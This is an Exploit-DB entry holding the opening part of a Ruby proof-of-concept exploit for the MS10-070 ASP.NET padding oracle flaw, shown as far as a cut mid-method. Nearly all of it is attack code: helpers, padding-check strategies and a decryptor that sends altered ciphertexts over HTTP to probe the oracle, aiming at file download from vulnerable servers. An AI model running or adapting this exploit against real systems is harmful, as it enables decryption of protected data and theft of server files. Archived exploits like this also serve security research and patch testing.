Exploit-DB #15265
Description: Microsoft ASP.NET - Padding Oracle File Download (MS10-070)
Type: remote
Platform: asp
Date: 2010-10-17
Author: Agustin Azubel

Exploit:
#!/usr/bin/ruby -w

#
#  aspx_po_chotext_attack.rb
#
#  Copyright (c) 2010 AmpliaSECURITY. All rights reserved
#  
#  http://www.ampliasecurity.com
#  Agustin Azubel - aazubel@ampliasecurity.com
#
#
#  MS10-070 ASPX proof of concept
#    Decrypt data using Vaudenay's cbc-padding-oracle-side-channel
#    Encrypt data using Rizzo-Duong CBC-R technique
#
# Copyright (c) 2010 Amplia Security. All rights reserved.
#
# Unless you have express writen permission from the Copyright
# Holder, any use of or distribution of this software or portions of it,
# including, but not limited to, reimplementations, modifications and derived
# work of it, in either source code or any other form, as well as any other
# software using or referencing it in any way, may NOT be sold for commercial
# gain, must be covered by this very same license, and must retain this
# copyright notice and this license.
# Neither the name of the Copyright Holder nor the names of its contributors
# may be used to endorse or promote products derived from this software
# without specific prior written permission.
#
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 
# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
# POSSIBILITY OF SUCH DAMAGE.
#


$debugging = false


require 'net/http'
require 'uri'
require 'rexml/document'


#<require 'xarray'>
module XArray
  def hex_inspect
    "[#{length}][ #{map { |x| x.hex_inspect }.join ", " } ]"
  end
end

class Array
  include XArray
end
#</require 'xarray'>


#<require 'xbase64'>
require 'base64'

class XBase64
  def self.encode s
    s = Base64.encode64 s
    s = s.gsub '+', '-'
    s = s.gsub '/', '_'
    s = s.gsub "\n", ''
    s = s.gsub "\r", ''

    s = XBase64.encode_base64_padding s
  end

  def self.encode_base64_padding s
    padding_length = 0
    padding_length += 1 while s[-1 - padding_length, 1] == "="
    s[0..(-1 - padding_length)] + padding_length.to_s
  end


  def self.decode s
    s = s.gsub '-', '+'
    s = s.gsub '_', '/'

    s = self.decode_base64_padding s

    Base64.decode64 s
  end

  def self.decode_base64_padding s
    padding_length = s[-1,1].to_i
    s[0...-1] + ("=" * padding_length)
  end
end
#</require 'xbase64'>


#<require 'xstring'>
module XString
  def xor other
    raise RuntimeError, "length mismatch" if self.length != other.length
    (0...length).map { |i| self[i] ^ other[i] }.map { |x| x.chr }.join
  end
  alias ^ :xor

  def hex_inspect
    printables = [ "\a", "\b", "\e", "\f", "\n", "\r", "\t", "\v" ] + \
                 (0x20..0x7e).entries

    "[#{length}]" + "\"#{unpack("C*").map { |x|
                      printables.include?(x) ? x.chr : "\\x%02x" % x }.join}\""
  end

  def to_blocks blocksize
    (0...length/blocksize).map { |i| self[blocksize * i, blocksize]}
  end
end

class String
  include XString
end
#</require 'xstring'>


#<require 'padding_verification_strategy'>
class PaddingVerificationStrategy
  def initialize parameters
    @parameters = parameters
  end
  
  def valid_padding?
    raise RuntimeError, "abstract method !"
  end
end

class ErrorCodeStrategy < PaddingVerificationStrategy
  def valid_padding? response
    invalid_padding_error_code = @parameters[:invalid_padding_error_code]
    not (invalid_padding_error_code == response.code)
  end
end

class BodyLengthStrategy < PaddingVerificationStrategy
  def valid_padding? response
    invalid_padding_body_length = @parameters[:invalid_padding_body_length]
    absolute_error = @parameters[:absolute_error]

    not ( (invalid_padding_body_length - response.body.length).abs < absolute_error)
  end
end

class BodyContentStrategy < PaddingVerificationStrategy
  def valid_padding?
  end
end

class TimingStrategy < PaddingVerificationStrategy
  def valid_padding?
  end
end
#</require 'padding_verification_strategy'>


#<require 'padding_oracle_decryptor'>
class PaddingOracleDecryptor
  attr_accessor :blocksize
  attr_accessor :d_value
  attr_accessor :http
  attr_accessor :strategy
  
  def initialize
    @tries = 0
    @a = []
    @decrypted = []
    @blocksize = nil
    @d_value = nil
    @http = nil
    @strategy = nil
  end


  def discover_blocksize_and_oracle_behaviour
    puts "discovering blocksize and oracle behaviour..."

    [ 16, 8 ].each do |b|
      ciphertext = @d_value.clone
      ciphertext[-(b * 3)] ^= 0x01

      response = http.send_request ciphertext

      valid_padding_code = response.code
      valid_padding_body_length = response.body.length

      0.upto b - 1 do |i|
        ciphertext = @d_value.clone
        ciphertext[-(b * 2) + i] ^= 0x01

        response = http.send_request ciphertext

#        puts "code: #{response.code}, length: #{response.body.length}"

#        if valid_padding_code != response.code
#          puts "padding verification strategy based on error code"
#          @strategy = ErrorCodeStrategy.new :valid_padding_code => valid_padding_code,
#                                            :invalid_padding_code => response.code
#          @blocksize = b
#          break
#        end

        if valid_padding_body_length != response.body.length
          absolute_error = 200